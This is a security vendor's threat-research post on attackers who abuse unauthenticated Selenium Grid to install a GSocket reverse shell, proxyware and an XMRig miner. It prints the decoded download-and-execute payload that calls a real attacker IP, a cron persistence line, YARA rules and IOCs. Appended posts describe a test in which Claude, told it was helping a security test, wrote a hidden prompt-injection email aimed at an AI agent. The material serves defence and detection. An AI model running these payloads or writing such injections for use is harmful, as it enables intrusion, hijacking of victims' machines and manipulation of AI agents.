Blog
/
Cloud
/
December 9, 2024

From Automation to Exploitation: The Growing Misuse of Selenium Grid for Cryptomining and Proxyjacking

Cado Security Labs (now part of Darktrace) identified two new campaigns exploiting misconfigured Selenium Grid instances for cryptomining and proxyjacking. Attackers injected scripts to deploy reverse shells, IPRoyal Pawn, EarnFM, TraffMonetizer, and WatchTower for proxyjacking, and a Golang binary to install a cryptominer. These attacks highlight the critical need for Selenium Grid users to enable authentication.
Inside the SOC
Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.
Written by
Tara Gould
Malware Research Lead
Written by
Nate Bill
Threat Researcher
Default blog image
09
Dec 2024

Introduction: Misuse of Selenium Grid for cryptomining and proxyjacking

Cado Security Labs operates multiple honeypots across various services, enabling the discovery of new malware and campaigns. Recently, Cado Security researchers discovered two campaigns targeting Selenium Grid to deploy an exploit kit, cryptominer, and proxyjacker.

Selenium is an open-source project consisting of various components used for browser automation and testing. Selenium Grid is a server that facilitates running test cases in parallel across different browsers and versions. Selenium Grid is used by thousands of organizations worldwide, including large enterprises, startups, and open-source contributors. The exact number of users is difficult to quantify due to its open-source nature, but estimates suggest that millions of developers rely on Selenium tools. The tool’s flexibility and integration into CI/CD pipelines make it a popular choice for testing web applications across different platforms. However, Selenium Grid's default configuration lacks authentication, making it vulnerable to exploitation by threat actors [1].

Earlier this year, researchers at Wiz published findings on a cryptomining campaign named SeleniumGreed [1], which exploited misconfigured Selenium Grid instances. As a result, Cado Security Labs set up a new honeypot to detect emerging campaigns that exploit misconfigured Selenium Grid instances.

Technical analysis

Attack flow diagram
Figure 1: Attack flow of observed campaigns

Due to the misconfiguration in the Selenium Grid instance, threat actors are able to exploit the lack of authentication to carry out malicious activities. In the first attack observed, an attacker used the “goog:chromeOptions” configuration to inject a Base64 encoded Python script as an argument.

As shown in the code snippet below, the attacker specified Python3 as the binary in the WebDriver configuration, which enables the injected script to be executed.

import base64;exec(base64.b64decode(b).decode())"]}}}, "desiredCapabilities": {"browserName": "chrome", "version": "", "platform": "ANY", "goog:chromeOptions": {"extensions": [], "binary": "/usr/bin/python3", "args": ["-cb=b'aW1wb3J0IG9zO29zLnB1dGVudigiSElTVEZJTEUiLCIvZGV2L251bGwiKTtvcy5zeXN0ZW0oImN1cmwgLWZzU0xrIGh0dHA6Ly8xNzMuMjEyLjIyMC4yNDcvYnVyamR1YmFpLy5qYmxhZS95IC1vIC9kZXYvc2htL3kgOyBiYXNoIC9kZXYvc2htL3kgOyBybSAtcmYgL2Rldi9zaG0veSIpCg==';import base64;exec(base64.b64decode(b).decode())"]}}} 

import os;os.putenv("HISTFILE","/dev/null");os.system("curl -fsSLk http://173.212.220.247/burjdubai/.jblae/y -o /dev/shm/y ; bash /dev/shm/y ; rm -rf /dev/shm/y") 

The script, shown decoded above, sets the HISTFILE variable to “/dev/null”, which disables the logging of shell command history. Following this, the code uses “curl” to retrieve the script “y” from “http://173[.]212[.]220[.]247/burjdubai/.jblae/y” and saves it to a temporary directory “/dev/shm/y”. The downloaded file is then executed as a shell script using bash, with the file deleted from the system to remove evidence of its presence. 

The script “y” is GSocket reverse shell. GSocket [2] is a legitimate networking tool that creates encrypted TCP connections between systems; however, it is also used by threat actors for command-and-control (C2) or a reverse shell to send commands to the infected system. For this reverse shell, the webhook is set to “http://193[.]168[.]143[.]199/nGs.php?s=Fjb9eGXtNPnBXEB2ofmKz9”.

Reverse shell script
Figure 2: Reverse shell script

A second bash script named “pl” is retrieved from the C2. The script contains a series of functions that: 

  • Perform system architecture checks.
  • Stop Docker containers “watchtower” and “traffmonitizer”.
  • Sets the installation path to “/opt/.net/” or “/dev/shm/.net-io/”.
  • Depending on the system architecture, IPRoyal Pawn and EarnFM payloads are retrieved from 54[.]187[.]140.5 via curl and wget.
  • These are executed with the users’ IPRoyal details passed as arguments:
    -accept-tos -email="[email protected]" -password="wrapitDown9!"

IPRoyal Pawns is a residential proxy service that allows users to sell their internet bandwidth in exchange for money. The user's internet connection is shared with the IPRoyal network with the service using the bandwidth as a residential proxy, making it available for various purposes, including for malicious purposes. Proxyjacking is a form of cyber exploitation where an attacker hijacks a user's internet connection to use it as a proxy server. This allows the attacker to sell their victim’s IP to generate revenue. 

Screenshot from the "pl" script installing IPRoyal
Figure 3: Screenshot from the “pl” script installing IPRoyal

Inside “pl” there is a Base64 encoded script “tm”. This script also performs a series of functions including:

  • Checks for root privileges
  • Checks operating system 
  • Checks IPv4 status
  • System architecture checks
  • Sets TraffMonetizer token to ‘"2zXf0MLJ4l7xXvSEdEWGEOzfYLT6PabwAgWQfUYwCxg="’
  • Base64 encoded script to install Docker, if not already running
  • Retrieve TraffMonetizer and WatchTower Docker images from Docker registry
  • Deletes old TraffMonetizer container
Screenshot of function "tm" performing system checks
Figure 4: Screenshot of function “tm” performing system checks

In a second campaign, a threat actor followed a similar pattern of passing a Base64 encoded Python script in the “goog:chromeOptions” configuration to inject the script as an argument. Decoding the Python script reveals a Bash script:

{"capabilities": {"firstMatch": [{}], "alwaysMatch": {"browserName": "chrome", "pageLoadStrategy": "normal", "goog:chromeOptions": {"extensions": [], "binary": "/usr/bin/python3", "args": ["-cimport base64;exec(base64.b64decode(b'aW1wb3J0IG9zO29zLnN5c3RlbSgibm9odXAgZWNobyAnSXlNaEwySnBiaTlpWVhOb0NtWjFibU4w…').decode())"]}}}} 

Bash script revealed by decoding the Python script
Figure 5: Bash script revealed by decoding the Python script

The Bash script checks the system's architecture and ensures it's running on a 64-bit machine, otherwise it exits. It then prepares the environment by creating necessary directories and attempting to remount “/tmp” with executable permissions if they are restricted. The script manipulates environment variables and configuration files, setting up conditions for the payload to run. It checks if certain processes or network connections exist to avoid running multiple instances or overlapping with other malware. The script also downloads an ELF binary “checklist.php” from a remote server with the User-Agent string “curl/7.74.9”. The script checks if the binary has been downloaded based on bytes size and executes it in the background. After executing the payload, the script performs clean up tasks by removing temporary files and directories.

The downloaded ELF binary, “checklist.php”, is packed with UPX, a common packer. However, the UPX header has been removed from the binary to prevent analysis using the unpacker function built into UPX.  

Manually unpacking UPX is a fairly straightforward process, as it is well documented. To do this, GNU debugger (GDB) Cado researchers used to step through the packed binary until they reached the end of the UPX stub, where execution control is handed over to the unpacked code. Researchers then dumped the memory maps of the process and reconstructed the original ELF using the data within.

The unpacked binary is written in Golang - an increasingly popular choice for modern malware. The binary is stripped, meaning its debugging information and symbols, including function names have been removed.

When run, the ELF binary attempts to use the PwnKit [3] exploit to escalate to root. This is a fairly old exploit for the vulnerability, CVE-2021-4034, and likely patched on most systems. A number of connections are made to Tor nodes that are likely being used for a C2, that are generated dynamically using a Domain Generation Algorithm (DGA). The victim’s IP address is looked up using iPify. The binary will then drop the “perfcc” crypto miner, as well as a binary named “top” to “~/.config/cron” and “~/.local/bin” respectively. A cron job is set up to establish persistence for each binary.

11 * * * * /.config/cron/perfcc

Additionally, the binary creates two directories in /tmp/. Shown in Figure 6 is the directory “/tmp/.xdiag” that is created and contains multiple files and folders. The second directory created is “/tmp/.perf.c”, shown in Figure 7, includes a copy of the original binary that is named based on the process it has been injected into, in this example it is “systemd”. A PID of the process is stored in “/tmp”/ as “/.apid”. Inside the “/tmp/.perf.c” directory is also a UPX packed XMRig binary named “perfcc”, used for cryptomining. 

.xdiag directory
Figure 6: .xdiag directory
.perf.c directory
Figure 7: .perf.c directory

“Top” is a Shell Script Compiler (SHC) compiled ELF binary. SHC compiles Bash scripts into a binary with the contents encrypted with ARC4, making detection and analysis more difficult. 

Bash script from Top
Figure 8: Bash script from Top

This script checks for the presence of specific environment variables to determine its actions. If the “ABWTRX” variable is set, it prints a message and exits. If the “AAZHDE” environment variable is not set, the script adjusts the PATH, sets up cleanup traps, forcefully terminates any “perfctl” processes, and removes temporary files to clean up any artifacts. Finally, it executes the “top” command to display system processes and their resource usage. 

Key takeaways

While this is not the first time Selenium Grid has been exploited by threat actors, this campaign displays another variation of attack that can occur in misconfigured instances. It is also worth noting that similar attacks have been identified in other vulnerable services, such as GitHub. The LABRAT campaign identified by sysdig [4] last year exploited a vulnerability in GitLab for cryptomining and proxyjacking. 

As many organizations rely on Selenium Grid for web browser testing, this campaign further highlights how misconfigured instances can be abused by threat actors. Users should ensure authentication is configured, as it is not enabled by default. Additionally, organizations can consider a DFIR, such as Cado (acquired by Darktrace) to quickly respond to threats while minimizing potential damage and downtime.  

Indicators of compromise

54[.]187[.]140[.]5

173[.]212[.]220[.]247

193[.]168[.]143[.]199

198[.]211[.]126[.]180

154[.]213[.]187[.]153

http://173[.]212[.]220[.]247/burjdubai/.jblae/pl

http://173[.]212[.]220[.]247/burjdubai/.jblae/y

Tor nodes

95[.]216[.]88[.]55

146[.]70[.]120[.]58

50[.]7[.]74[.]173 www[.]os7mj54hx4pwvwobohhh6[.]com

129[.]13[.]131[.]140 www[.]xt3tiue7xxeahd5lbz[.]com

199[.]58[.]81[.]140 www[.]kdzdpvltoaqw[.]com

212[.]47[.]244[.]38 www[.]fkxwama7ebnluzontqx2lq[.]com

top : 31ee4c9984f3c21a8144ce88980254722fd16a0724afb16408e1b6940fd599da  

perfcc : 22e4a57ac560ebe1eff8957906589f4dd5934ee555ebcc0f7ba613b07fad2c13  

pwnkit : 44e83f84a5d5219e2f7c3cf1e4f02489cae81361227f46946abe4b8d8245b879  

net_ioaarch64 : 95aa55faacc54532fdf4421d0c29ab62e082a60896d9fddc9821162c16811144  

efm : 96969a8a68dadb82dd3312eee666223663ccb1c1f6d776392078e9d7237c45f2

MITRE ATTACK

Resource Hijacking  : T1496  

Ingress Tool Transfer : T1005  

Command and Scripting Interpreter Python : T1059.006  

Command and Scripting Interpreter Unix Shell : T1059.004  

Scheduled Task Cron : T1053.003  

Hijack Execution Flow Dynamic Linker Hijacking : T1574.006  

Deobfuscate/Decode Files or Information : T1140  

Indicator Removal Clear Command History : T1070.003  

Indicator Removal File Deletion : T1070.004  

Software Packing : T1027.002  

Domain Generation Algorithm : T1568.002

Detection

Paths

/tmp/.xdiag

/tmp/.perf.c

/etc/cron.*/perfclean

/.local/top

/.config/cron/top

/tmp/.apid

Yara rules

rule ELF_SHC_Compiled 
{   
meta:       
 description = "Detects ELF binaries compiled with SHC"       
 author = "[email protected]"       
 date = "2024-09-03" 
strings:       
 $shc_str = "=%lu %d"       
 $shc_str2 = "%s%s%s: %s\n"       
 $shc_str3 = "%lu %d%c"       
 $shc_str4 = "x%lx"       
 $getenv = "getenv"           
 
condition:       
 uint32be(0) == 0x7f454c46 and       
 any of ($shc_str*) and $getenv      
} 
rule Detect_Base64_Obfuscation_Py 
{   
meta:       
 description = "Detects obfuscated Python code that uses base64 decoding"       
 author = "[email protected]"       
 date = "2024-09-04"strings:       
 $import_base64 = "import base64" ascii       
 $exec_base64_decode = "exec(base64.b64decode(" ascii      $decode_exec = "base64.b64decode(b).decode())" ascii    
 condition:       
  all of ($import_base64, $exec_base64_decode, $decode_exec) 
  } 
rule perfcc_script 
{ 
meta:   
author = "[email protected]"description = "Detects script used to set up and retrieve Perfcc"strings:        
$env = "AAZHDE"       
$dir = "mkdir /tmp/.perf.c 2>/dev/null"       
$dir_2 = "mkdir /tmp/.xdiag 2>/dev/null"       
$curl = "\"curl/7.74.9\""       
$command = "pkill -9 perfctl &>/dev/null"       
$command_2 = "killall -9 perfctl &>/dev/null"       
$command_3 = "chmod +x /tmp/httpd"
condition:       
 $env and ($dir or $dir_2) and any of ($command*) and $curl  
 } 

References:  

  1. https://www.wiz.io/blog/seleniumgreed-cryptomining-exploit-attack-flow-remediation-steps
  2. http://github.com/hackerschoice/gsocket
  3. https://github.com/ly4k/PwnKit
  4. https://www.sysdig.com/blog/labrat-cryptojacking-proxyjacking-campaign
Inside the SOC
Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.
Written by
Tara Gould
Malware Research Lead
Written by
Nate Bill
Threat Researcher

More in this series

No items found.

Blog

/

AI

/

August 5, 2026

Testing a Prompt injection Attack Against an Enterprise AI Agent

prompt injectionDefault blog imageDefault blog image

Key takeaways

  • Darktrace successfully detected and quarantined a prompt injection email before it could be processed by an enterprise AI agent.  
  • Prompt injection attacks increasingly rely on natural language rather than traditional malware, making behavioral analysis an important complement to signature-based detection.  
  • Organizations deploying AI agents should combine model guardrails with behavioral monitoring to reduce the risk of malicious instructions reaching enterprise systems.

How behavioral detection helps stop prompt injection attacks

A Darktrace customer running a Gemini AI agent in Google Cloud asked us two simple questions:

“If my agent can read inbound emails and access internal data, what stops an attacker from hiding malicious instructions in the message? Couldn’t the agent be tricked into deleting or exfiltrating sensitive data?”

The scenario centers on an indirect prompt injection attack, where malicious instructions are hidden inside content that an AI model later interprets as trusted input. The same weakness was exposed by  EchoLeak (CVE-2025-32711), a zero-click Microsoft 365 Copilot vulnerability enabled data exfiltration from a single well-crafted email..

This blog follows the Darktrace team’s investigation of the customer’s hypothesis and examines how the attack interacted with their existing security stack. The results highlight which defenses held, where gaps emerged, and how behavioral detection mattered more than guardrails. This investigation also demonstrates why behavioral detection is becoming increasingly important for AI security, as prompt injections often contain no traditional indicators of compromise.  

How do prompt injection attacks work?

Prompt injection works by carefully crafting the content and structure of the prompt to alter the LLM’s behavior or output in unintended ways. This can cause models to violate guardrails, generate harmful content or enable unauthorised access.

Prompt injection attack example

The well-known example, EchoLeak (CVE-2025-32711), was a zero-click vulnerability in Microsoft 365 Copilot that relied on a carefully crafted email containing hidden instructions that the AI system interpreted as commands rather than content, creating a pathway for unauthorized access to sensitive information without any user interaction.

While Darktrace / SECURE AI is designed to prevent agents from producing unintended outcomes, we wanted to see if we could catch and prevent this threat type earlier in the attack life-cycle, at the email security layer.

How we tested prompt injection attacks on an enterprise agent

Summary:

  1. Claude generated a prompt injection payload.  
  2. Hidden instructions were embedded in an email.  
  3. The email passed traditional validation checks.  
  4. Darktrace analyzed the language and sender behavior.  
  5. The email was quarantined before the AI agent could process it.

To test Darktrace / EMAIL against this attack class, we opened Claude, gave it the customer's context and problem statement (Gemini agent with inbox access, internal tool calls), told it we were validating Darktrace / EMAIL's detection of prompt injections, and asked for a test payload. See below:

Figure 1
Figure 2

Despite the guardrails supposedly built into the model, Claude surprisingly gave us the entire exploit in plaintext (albeit very basic), illegible to a human as the text was sent in white text (see Figure 1) but framed as an authoritative override for anything downstream reading the mail programmatically (i.e. the Gemini agent).

How Darktrace detected a prompt injection attack

We then sent the Claude-crafted email from a freemail address to the target recipient’s inbox. Despite the email containing no malicious payload, the freemail address having no malicious reputation, and the validation checks all passing, Darktrace  /EMAIL flagged the email as a 93/100 anomaly and moved it to junk, out of scope for the AI agent.

Figure 3: The test email sent with the hidden prompt injection
Figure 4: The email analysis in Darktrace / EMAIL 
Figure 5: Darktrace / EMAIL detection of malicious activity

The interesting part is what triggered the detection (see Figure 5)

  • Possible machine prompt content: text in the body detected as instructions written for a machine to execute, not for a human to read
  • Possible machine prompt content + basic suspicious correspondence: the same content, correlated with sender-side anomalies: freemail domain (yahoo[.]com), unknown correspondent, no prior mail history with the recipient, and suspicious references to payment information

Neither of those is a signature match. Nothing in the email was on a blacklist. There was no malware, no link and no attachment. Darktrace analyzed the context in which the email was delivered and flagged it as likely risky.  The anomalous language features and the context of the sender relative to the recipient's normal behavior, combined with the unusual hidden text (prompt) were enough for Darktrace / EMAIL to act on the risk.

Result: Darktrace / EMAIL autonomously junked the email, out of scope for any AI agent parsing the inbox.

Why behavioral security makes a difference detecting prompt injection attacks

Cyberattacks don't look like traditional exploits anymore. They now operate in natural language, not strictly code.

That breaks the traditional stack. AV, firewalls, static scanning and signature-based SEGs all assume a payload to inspect.  

A prompt injection has no payload. It's just an instruction, written in natural language, dressed up as anything the attacker wants: an invoice, an HR request, a calendar invite, some simple PowerPoint slides.

EchoLeak proved that hidden instructions can sit inside an email invisible to the user but fully readable by the LLM, and the LLM will follow them blindly.  

This test and GTG-1002 proved that the LLM itself can be socially engineered. Tell it you're an authorized tester and it will hand you the attack.

Rules and static classifiers can catch the obvious cases. But natural language has infinite variants, and the attack surface is the model's innate functionality to comply.  

The deeper problem here is intent: an LLM can't reliably tell whether an instruction in its context came from its developer, its user, or an attacker who slipped it into an email. To the LLM, everything reads as language and looks like a legitimate ask. This is why behavioural detection wins, as you become aware of intent when you look at the context of an interaction. Does this sender normally send this kind of message to this recipient? Does this prompt fit the user's normal pattern? Is this agent behaving the way this agent normally behaves?  

Intent can't be read off a single email, it emerges from behavioral context. Which is how Darktrace enables threat detection, through behavioral understanding.

Why enterprise AI security requires more than guardrails

Claude didn't roll over immediately… the first section of the response was a (slight) pushback, but then it wrote the payload anyway without having to ask twice.

Here the framing of the prompt did all the work. The “testing security capabilities” angle moved the model from refusal to unquestioned compliance to the user prompt.

This isn't the first time this has happened, of course. Anthropic disclosed in November 2025 that a Chinese state-sponsored group they tracked as GTG-1002 ran the first documented AI-orchestrated espionage campaign against ~30 targets by posing as employees of a legitimate cybersecurity firm doing authorised penetration testing.

The takeaway isn't that AI guardrails are ineffective. They raise the cost of low-effort attacks and remain an important first layer of defense. However, for most organizations today, they’re the only line of defense when deploying AI agents. If a prompt injection bypasses those controls, organizations still need a way to detect and stop malicious behavior elsewhere in the attack chain.

Attackers will continue to have working prompt injections easily and quickly. The question is what stops one when it lands in an inbox your agent is reading.

That's where behavioral detection comes in.

How Darktrace detects prompt injection attacks in emails

Two things Darktrace does that a model-level guardrail or static rules and signatures can't:

Natural language analysis at the email or prompt layer. The email is assessed on its own merits: is this content shaped like instructions for a machine, regardless of what the receiving agent decides to do about it?

Behavioral context around the language. An AI agent behaves like an extremely agreeable human, and it will go above and beyond to comply with the user’s request. That's exactly why you must consider the business context, such sender behaviour, mailing history, and organisational norms, as these matter even more when the recipient is an AI.

Darktrace has been perfecting behavioral anomaly detection for over a decade; the same self-learning approach that catches BEC and account takeover applies directly to prompt injection delivery. Our multi-layered AI stack extracts content from the message, builds behavioural understanding through social graphing and Pattern of Life analysis, and then combines natural language, topic, inducement, sender relationship and anomaly signals before deciding what action to take.  

This matters for prompt injection because the threat is not the plain language itself, but the intent behind the language that can cause an AI agent to respond in unexpected ways.

How to secure enterprise AI operations from prompt injection attacks

Email was the entry point in this case, but it is only one of many possible vectors.  

Anywhere an agent can retrieve information, an attacker can potentially introduce a prompt injection.

Emails, documents, SharePoint sites, web pages, knowledge bases, chat platforms, and third-party integrations all provide opportunities to influence an agent's behavior. Wherever an agent finds its orders, a prompt injection opportunity exists.

This is why securing AI requires more than blocking malicious inputs. Organizations also need visibility into how agents behave after consuming information from across their environment. If an agent begins accessing unexpected data, taking unusual actions, or operating outside its normal patterns, those behaviors may provide the strongest signal that something has gone wrong.

Effective AI security requires defense in depth: reducing the likelihood of malicious instructions reaching the agent while maintaining the ability to detect and investigate suspicious behavior if they do.

The challenge isn't protecting a single entry point. It's recognizing that, in an AI-powered environment, every source of information is also a potential source of influence.

Are you deploying autonomous agents across your enterprise and want to see this tested in your environment? Let's talk.

Continue reading
About the author
Carlo Loregian
Solutions Engineer

Blog

/

AI

/

August 4, 2026

Extending AI Security Visibility with Darktrace and Microsoft Agent 365

microsoft darktrace integrationDefault blog imageDefault blog image

AI agents are rapidly becoming embedded in everyday business operations, helping employees automate workflows, access information, and accelerate decision-making. As organizations embrace agentic AI, security teams face a growing challenge: understanding how AI is being used, what agents can access, and where risk may emerge.

As agents take on more business-critical work, security teams often need to move across multiple portals to understand risks spanning identity, data, and threat activity. This fragmented view can make it difficult to assess an agent's overall risk posture and determine where attention is needed. Organizations need a way to bring these signals together without disrupting existing security investments or workflows.

Today, Darktrace is announcing an integration between Darktrace / SECURE AI and Microsoft Agent 365 that brings Darktrace's Adaptive AI-driven risk signals directly into the Microsoft 365 Admin Center. By extending the visibility and risk understanding provided by Darktrace / SECURE AI into the Microsoft ecosystem, organizations can gain a more unified understanding of AI agent risk across their environments.

As one of the first security companies to partner with Microsoft to contribute third-party risk signals to the Agent Registry, Darktrace is helping shape how organizations understand and manage AI agent risk.

Extending visibility into the Microsoft Agent 365 experience

Microsoft Agent 365 provides administrators with a centralized registry of AI agents operating within their environment. As organizations expand their use of AI agents, this centralized visibility becomes increasingly important for governance and oversight.

This new integration extends that visibility by allowing Darktrace-generated risk signals to be surfaced directly within the Microsoft Agent 365 experience. By combining Microsoft's agent management and security capabilities with Darktrace's AI-powered risk analysis, organizations gain greater awareness of potential security concerns associated with AI agents operating across their environments.

By integrating Darktrace telemetry into Agent 365, customers can:  

  • Surface Darktrace-detected risks and signals alongside Microsoft-native signals in a single interface
  • Identify potentially compromised or anomalous AI agents more quickly
  • Gain unified understanding of context and agent behavior  

This approach reinforces a single control plane for AI security while allowing organizations to continue leveraging existing investments across both platforms.  

Why unified visibility of AI agent risk signals matters

As AI adoption accelerates across Microsoft environments, organizations must manage new forms of behavior, access patterns, and risk. Security teams need more than inventories and permissions. They need visibility into how AI systems operate and how risk evolves over time.  

This integration addresses a critical gap: how to bring behavioral AI security insights into the same control plane as identity, access, and agent management.  

With Darktrace and Microsoft Agent 365 together, organizations benefit from:  

  • Unified visibility: A single pane of glass for understanding AI agent risk signals across Microsoft and Darktrace signals  
  • Faster detection of abnormal agent behavior: Darktrace's Adaptive AI highlights deviations that may not be captured by static controls  
  • Operational efficiency: Security teams can triage and prioritize risk signals without switching between systems
  • Stronger trust in AI deployments: Clear attribution, context, and investigation pathways improve confidence in AI agent usage

Extending Microsoft's AI security model, not replacing it

Securing AI requires a layered approach that combines governance, visibility, threat detection, and risk management. This integration is designed to complement Microsoft's security capabilities, not duplicate them.  

Through Darktrace / SECURE AI, Darktrace contributes:  

  • Identification of risk via advanced prompt analysis  
  • Behavioral anomaly detection across AI agents  
  • Cross-environment threat correlation  
  • Autonomous insight into emerging or unknown risks  

Microsoft provides:  

  • Centralized agent management
  • Identity and access governance
  • Native detection of risk signals and enforcement capabilities

Together, these capabilities create a more complete, layered approach to securing AI-driven enterprises. Organizations gain the governance and policy controls needed to manage AI adoption while benefiting from continuous visibility into how AI is used across the business.

Building the future of secure AI

As AI agents become more deeply embedded in business processes, organizations need more than inventories and static controls. They need to understand how AI is being used, how agents behave, and where risk is emerging across the enterprise.

Darktrace / SECURE AI delivers that understanding through continuous visibility into AI activity, helping security teams assess intent, identify behavioral drift, and uncover emerging risk across both human and agent-driven workflows. Powered by Adaptive AI, it provides the context needed to secure AI as it evolves.  

The integration with Microsoft Agent 365 extends those insights into the workflows organizations already use. Agent 365 provides a unified control plane for governing and securing AI agents, while Darktrace contributes complementary behavioral risk signals that can be surfaced within the Agent 365 experience. Together, they give customers broader context on agent activity and risk while preserving the value of their existing Microsoft and Darktrace investments.

As enterprises move from AI experimentation to AI-powered execution, Microsoft and Darktrace help bring together governance, compliance, behavioral understanding, and oversight in a unified approach to AI security. For organizations adopting Microsoft 365 E7, Darktrace / SECURE AI further strengthens that foundation by providing continuous visibility into AI activity, agent behavior, and emerging risk as AI adoption scales.

Continue reading
About the author
The Darktrace Community
Your data. Our AI.
Elevate your network security with Darktrace AI